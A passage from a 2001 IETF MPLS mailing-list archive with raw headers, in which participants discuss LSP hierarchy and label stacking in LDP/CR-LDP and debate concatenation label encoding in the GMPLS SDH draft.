<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>thanks</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>bhupesh</SPAN></FONT></DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Asish Thomas =
Punnoose=20
  [mailto:asish.punnoose@wipro.com]<BR><B>Sent:</B> Thursday, May 17, =
2001 5:20=20
  PM<BR><B>To:</B> mpls@UU.NET<BR><B>Subject:</B> Hierarchy between two =

  LSRs<BR><BR></DIV></FONT>
  <DIV><FONT color=3D#800000 face=3DArial size=3D2>hello </FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#800000 face=3DArial size=3D2>I&nbsp;am new to =
MPLS and i have a=20
  basic doubt. </FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#800000 face=3DArial size=3D2>If hierarchy is =
introduced between=20
  two LSRs, how does LDP/ CR-LDP know whether a hierarchy exists =
between the=20
  two.&nbsp; </FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#800000 face=3DArial size=3D2>How does the label =
switching work=20
  in this situation.</FONT></DIV>
  <DIV><FONT color=3D#800000 face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#800000 face=3DArial size=3D2>Please do help and =
could someone=20
  send some pointers related to this topic.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#800000 face=3DArial size=3D2>Thanks in=20
advance</FONT>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#800000 face=3DArial size=3D2>Asish=20
Thomas</FONT></DIV></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C0DED6.766B8760--


From owner-mpls@UU.NET  Thu May 17 09:43:32 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA17335
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 09:43:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpkg06111;
	Thu, 17 May 2001 13:42:24 GMT
Received: by mail-control.mail.uu.net 
	id QQkpkg11756
	for mpls-outgoing; Thu, 17 May 2001 13:42:00 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpkg11736
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 13:41:45 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpkg09266
	for <mpls@uu.net>; Thu, 17 May 2001 13:39:16 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkpkg03538
	for <mpls@uu.net>; Thu, 17 May 2001 13:39:16 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4HDdF924610
	for <mpls@uu.net>; Thu, 17 May 2001 06:39:15 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA20086 for mpls@uu.net; Thu, 17 May 2001 09:39:13 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpia03357
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 23:12:34 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpia16914
	for <mpls@UU.NET>; Wed, 16 May 2001 23:11:38 GMT
Received: from milan.turinnetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: turinntwks.com [63.197.247.126])
	id QQkpia07136
	for <mpls@UU.NET>; Wed, 16 May 2001 23:11:38 GMT
Received: by MILAN with Internet Mail Service (5.5.2650.21)
	id <KTT0JWT1>; Wed, 16 May 2001 16:04:48 -0700
Message-ID: <36EF020032CFD411B7B400508B55E5901947@MILAN>
From: Hai Vodinh <HVoDinh@turinnetworks.com>
To: "'Michael Waldo'" <mwwaldo@flash.net>
Cc: "'Mannie, Eric'" <Eric.Mannie@ebone.com>, ccamp@ops.ietf.org, mpls@UU.NET,
        "Bernstein, Greg" <GregB@ciena.com>
Subject: RE: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
Date: Wed, 16 May 2001 16:04:43 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Michael,

Greg's (1) has the additional restriction of "one big signal within a single
SONET Line (SDH MS)" so it is not like Virtual Concatenation which has no
such restriction.  Base components (sts-1, sts-3c) of sonet vc signals can
have diverse paths.

Hai

-----Original Message-----
From: Michael Waldo [mailto:mwwaldo@flash.net]
Sent: Wednesday, May 16, 2001 3:42 PM
To: Bernstein, Greg
Cc: 'Mannie, Eric'; ccamp@ops.ietf.org; mpls@UU.NET
Subject: Re: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt


your (1) sounds more like virtual concatenation to me

(2) is what I have considered to be arbitrary concatenation. This could be
useful when compared to standard contiguous concatenation because it could
make
more efficient use of the bandwidth within the SONET line (SDH MS) eg, using
an
STS-2c when only 100Mbs is needed. Standard contiguous concatenation payload
values being 3c, 12c, 48c, 192c for SONET.

Considering virtual concatenation, arbitrary concatenation doesn't seem to
have
as much appeal (pretty useless).

Has the term "arbitrary concatenation" been defined anywhere? I've seen
contiguous and virtual definitions, but I looked through the references in
this
draft, (as well as G.707 and T1.105) and I could not find the "arbitrary"
definition.


-Waldo


"Bernstein, Greg" wrote:

> We started out with the simple term "arbitrary concatenation" a while back
> to mean arbitrary in size and in timeslots used.  I'm not sure what was
> meant when we added the "contiguous" to this.  Was it:
> (1)     Treat this as one big signal within a single SONET Line (SDH MS),
> with potentially arbitrary timeslots used.
> (2)     Treat this as one big signal within a single SONET line (SDH MS),
> with the timeslot numbering lying within a single range, i.e.,  X through
Y,
> with X < Y.
>
> If (1) then we need a list of time slots. If (2) then only the beginning
> time slot is needed.  The problem with (2) is that it is a pretty useless
> feature, i.e., doesn't prevent the need for re-grooming and seemed like a
> mistake from the rather long gestation period for this specification
rather
> than something truly intended.
>
> Greg B.
>         Dr. Greg M. Bernstein, Senior Scientist, Ciena
>         New phone: (510) 573-2237
>
>                 -----Original Message-----
>                 From:   Mannie, Eric [mailto:Eric.Mannie@ebone.com]
>                 Sent:   Wednesday, May 16, 2001 12:44 PM
>                 To:     Bernstein, Greg; ccamp@ops.ietf.org; mpls@UU.NET
>                 Subject:        RE: Small issue on
> draft-ietf-ccamp-gmpls-sdh-00.txt
>
>                 Dear All,
>
>                 Sorry I was confused, the original text of the draft is
> correct:
>
>                 With any kind of ***contiguous*** concatenation there is
one
> big signal, so
>                 one and only one label (pointer) is needed (otherwise it
is
> not a contiguous
>                 concatenation). With any kind of virtual concatenation,
> there are several
>                 VC's, so one label (pointer) per VC is needed. Even if all
> the VC's
>                 virtually concatenated are contiguous (by coincidence) we
> still need to
>                 identify each of them.
>
>                 Arbitrary and standard concatenations are orthogonal with
> contiguous and
>                 virtual concatenations.
>
>                 Arbitrary means anything that is not standard.
>
>                 We use a code to differentiate between standard and
> arbitrary contiguous
>                 concatenation to avoid that a downstream node returns a
> timeslot at a
>                 position not supported by the upstream node. The upstream
> node indicates the
>                 number and types of signals to be concatenated and the
> downstream node
>                 cannot change it (it can just accept or refuse).
>
>                 We don't need a code to differentiate between standard
> versus arbitrary
>                 virtual concatenation because there is no restriction
anyway
> on the timeslot
>                 positions that can return the downstream node. Again, the
> upstream node
>                 indicates the number and types of signals to be
concatenated
> and the
>                 downstream node cannot change that (it can just accept or
> refuse). SDH 1996
>                 restricts the virtual concatenation to some well defined
> signals, while SDH
>                 2000 allows everything that make sense. But for the
previous
> reasons we
>                 don't need to differentiate between the two (thing about
the
> reason why you
>                 put a signaling element in a signaling message).
>
>                 Agreed ?
>
>                 Kind regards,
>
>                 Eric
>
>                 -----Original Message-----
>                 From: Bernstein, Greg [mailto:GregB@ciena.com]
>                 Sent: Wednesday, May 16, 2001 5:33 PM
>                 To: ccamp@ops.ietf.org; mpls@UU.NET
>                 Subject: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
>
>                 Hi in the draft draft-ietf-ccamp-gmpls-sdh-00.txt it says:
>
>                    In case of any type of contiguous concatenation (e.g.
> standard or
>                    arbitrary concatenation), only one label appears in the
> Label
>                    field. That label is the lowest signal of the
> contiguously
>                    concatenated signal. By lowest signal we mean the one
> having the
>                    lowest label when compared as integer values, i.e. the
> first
>                    component signal of the concatenated signal encountered
> when
>                    descending the tree.
>
>                    In case of virtual concatenation, the explicit ordered
> list of all
>                    labels in the concatenation is given. Each label
> indicates a
>                    component of the virtually concatenated signal.
>
>                 This does not reflect the intent of arbitrary
concatenation-
> arbitrary, size
>                 and placement of timeslots.  Otherwise the main benefit of
> arbitrary
>                 concatenation, preventing re-grooming is lost.  Corrected
> text could read:
>
>                     In the case of standard contiguous, only one label
> appears in the Label
>                    field. That label is the lowest signal of the standard
> contiguously
>                    concatenated signal. By lowest signal we mean the one
> having the
>                    lowest label when compared as integer values, i.e. the
> first
>                    component signal of the concatenated signal encountered
> when
>                    descending the tree.
>
>                    In the cases of arbitrary or virtual concatenation, the
> explicit ordered
>                 list of all
>                    labels in the concatenation is given. Each label
> indicates a
>                    component of the arbitrary or virtually concatenated
> signal.
>
>                 Greg B.
>                         Dr. Greg M. Bernstein, Senior Scientist, Ciena
>                         New phone: (510) 573-2237



From owner-mpls@UU.NET  Thu May 17 10:13:17 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA18046
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 10:13:17 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpki26958;
	Thu, 17 May 2001 14:11:29 GMT
Received: by mail-control.mail.uu.net 
	id QQkpki26251
	for mpls-outgoing; Thu, 17 May 2001 14:10:57 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpki26088
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 14:10:44 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpki03200
	for <mpls@UU.NET>; Thu, 17 May 2001 14:09:37 GMT
Received: from EXCHANGE.kerenix.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [212.150.1.82])
	id QQkpki10425
	for <mpls@UU.NET>; Thu, 17 May 2001 14:09:33 GMT
Received: by EXCHANGE.kerenix.com with Internet Mail Service (5.5.2650.21)
	id <K5RN0S8K>; Thu, 17 May 2001 17:11:56 +0300
Message-ID: <2B15221907365C468941FDFC02C87769CF23@EXCHANGE.kerenix.com>
From: Vadim Suraev <Vadim_Suraev@KereniX.com>
To: Asish Thomas Punnoose <asish.punnoose@wipro.com>
Cc: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: RE: Hierarchy between two LSRs
Date: Thu, 17 May 2001 17:11:56 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0DEDB.54A746AA"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0DEDB.54A746AA
Content-Type: text/plain;
	charset="iso-8859-1"

If you have AS (autonomous system), with several Areas, connected by
backbone:
some node X, wishes to setup LSP, which crosses more than one area, might
not know topology of area(s), to which
it isn't belonging. So, each area's border router (and node X itself) can
tunnel the inter-area LSP (originated by X) inside of tunnel, for which it
is Ingress.
Forwarding Adjacencies also may be used to create LSP hierarchy.
 

-----Original Message-----
From: Bhupesh Bajaj [mailto:bhupeshb@in.huawei.com]
Sent: Thursday, May 17, 2001 4:37 PM
To: Asish Thomas Punnoose
Cc: mpls@UU.NET; mpls-ops@mplsrc.com
Subject: RE: Hierarchy between two LSRs
Importance: High


hi,
according to what i interpret from your question ...
 
the hierarchy in a domain will be specified ( indirectly ) by the
administrators...it not that one installs certain LSR's and the hierarchy
comes into picture by itself ...i believe that hierarchy's concept comes
into picture in case of different services of ISP's
 
e.g..
 
----------------------------------------------------------------------------
---
 
|
          --------------    ----------------
|
         |              |   |                |                     C
|            D
         |      A      |   |     B         |
|
         |________|   |_________ |                                  |
 
|
 
|    
_____________________________________________ |
 
Now here for example we have different domains A B and C ..hierarcy comes
into picture when we have that 
C domain is controlled by one ISP , A by another ISP ...and B by yet another
ISP....
 
so for sending a packet from say ...A ...to D ...say passing thru B is
required , Now as the domain changes the label stackin will be done...
 
now as you asked , how does LDP / CR-LDp comes to know that its going to
have hierarchy, that will be done indirectly by administration , cos
administrator will create domains will separate out domains....so once the
LSRs know that its Egress / Ingress to its domain , the LDP will ofcourse do
label distribution accordingly.
 
i hope it helps....
 
correct me if i am wrong..
 
thanks
bhupesh

-----Original Message-----
From: Asish Thomas Punnoose [mailto:asish.punnoose@wipro.com]
Sent: Thursday, May 17, 2001 5:20 PM
To: mpls@UU.NET
Subject: Hierarchy between two LSRs


hello 
 
I am new to MPLS and i have a basic doubt. 
 
If hierarchy is introduced between two LSRs, how does LDP/ CR-LDP know
whether a hierarchy exists between the two.  
 
How does the label switching work in this situation.
 
Please do help and could someone send some pointers related to this topic.
 
Thanks in advance 
 
Asish Thomas


------_=_NextPart_001_01C0DEDB.54A746AA
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D570554813-17052001>If you=20
have AS (autonomous system), with several Areas, connected by=20
backbone:</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D570554813-17052001>some=20
node X, wishes to setup LSP, which crosses more than one area, might =
not know=20
topology of area(s), to which</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D570554813-17052001>it=20
isn't belonging. So, each area's border router (and node X itself) can =
tunnel=20
the inter-area LSP (originated by X) inside of tunnel, for which it is=20
Ingress.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D570554813-17052001>Forwarding Adjacencies also may be used to =
create LSP=20
hierarchy.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D570554813-17052001></SPAN></FONT>&nbsp;</DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Bhupesh Bajaj=20
  [mailto:bhupeshb@in.huawei.com]<BR><B>Sent:</B> Thursday, May 17, =
2001 4:37=20
  PM<BR><B>To:</B> Asish Thomas Punnoose<BR><B>Cc:</B> mpls@UU.NET;=20
  mpls-ops@mplsrc.com<BR><B>Subject:</B> RE: Hierarchy between two=20
  LSRs<BR><B>Importance:</B> High<BR><BR></DIV></FONT>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001>hi,</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001>according to what i interpret from your =
question=20
  ...</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>the=20
  hierarchy in a domain will be specified ( indirectly ) by the=20
  administrators...it not that one installs certain LSR's and the =
hierarchy=20
  comes into picture by itself ...i believe that hierarchy's concept =
comes into=20
  picture in case of different services of ISP's</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001>e.g..</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  =
class=3D331375312-17052001>---------------------------------------------=
----------------------------------</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  =
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  |</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  =
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;--------------&nbsp;&nbsp;&nbsp;&nbsp;----------------&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  |</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  =
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;C&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  D</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  =
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;B&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  =
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  |</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  =
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;|________|&nbsp;&nbsp;&nbsp;|_________&nbsp;|&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  |</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  =
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  |</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  =
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  |&nbsp;&nbsp;&nbsp; </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  =
class=3D331375312-17052001>_____________________________________________=
=20
  |</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>Now=20
  here for example we have different domains A B and C ..hierarcy comes =
into=20
  picture when we have that </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>C=20
  domain is controlled by one ISP , A by another ISP ...and B by yet =
another=20
  ISP....</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>so=20
  for sending a packet from say ...A ...to D ...say passing thru B is =
required ,=20
  Now as the domain changes the label stackin will be=20
done...</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>now=20
  as you asked , how does LDP / CR-LDp comes to know that its going to =
have=20
  hierarchy, that will be done indirectly by administration , cos =
administrator=20
  will create domains will separate out domains....so once the LSRs =
know that=20
  its Egress / Ingress to its domain , the LDP will ofcourse do label=20
  distribution accordingly.</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>i=20
  hope it helps....</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001>correct me if i am =
wrong..</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001>thanks</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D331375312-17052001>bhupesh</SPAN></FONT></DIV>
  <BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
    <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> Asish Thomas =
Punnoose=20
    [mailto:asish.punnoose@wipro.com]<BR><B>Sent:</B> Thursday, May 17, =
2001=20
    5:20 PM<BR><B>To:</B> mpls@UU.NET<BR><B>Subject:</B> Hierarchy =
between two=20
    LSRs<BR><BR></DIV></FONT>
    <DIV><FONT color=3D#800000 face=3DArial size=3D2>hello =
</FONT></DIV>
    <DIV>&nbsp;</DIV>
    <DIV><FONT color=3D#800000 face=3DArial size=3D2>I&nbsp;am new to =
MPLS and i have=20
    a basic doubt. </FONT></DIV>
    <DIV>&nbsp;</DIV>
    <DIV><FONT color=3D#800000 face=3DArial size=3D2>If hierarchy is =
introduced=20
    between two LSRs, how does LDP/ CR-LDP know whether a hierarchy =
exists=20
    between the two.&nbsp; </FONT></DIV>
    <DIV>&nbsp;</DIV>
    <DIV><FONT color=3D#800000 face=3DArial size=3D2>How does the label =
switching work=20
    in this situation.</FONT></DIV>
    <DIV><FONT color=3D#800000 face=3DArial =
size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT color=3D#800000 face=3DArial size=3D2>Please do help and =
could someone=20
    send some pointers related to this topic.</FONT></DIV>
    <DIV>&nbsp;</DIV>
    <DIV><FONT color=3D#800000 face=3DArial size=3D2>Thanks in=20
    advance</FONT>&nbsp;</DIV>
    <DIV>&nbsp;</DIV>
    <DIV><FONT color=3D#800000 face=3DArial size=3D2>Asish=20
  Thomas</FONT></DIV></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C0DEDB.54A746AA--


From owner-mpls@UU.NET  Thu May 17 10:54:43 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA19062
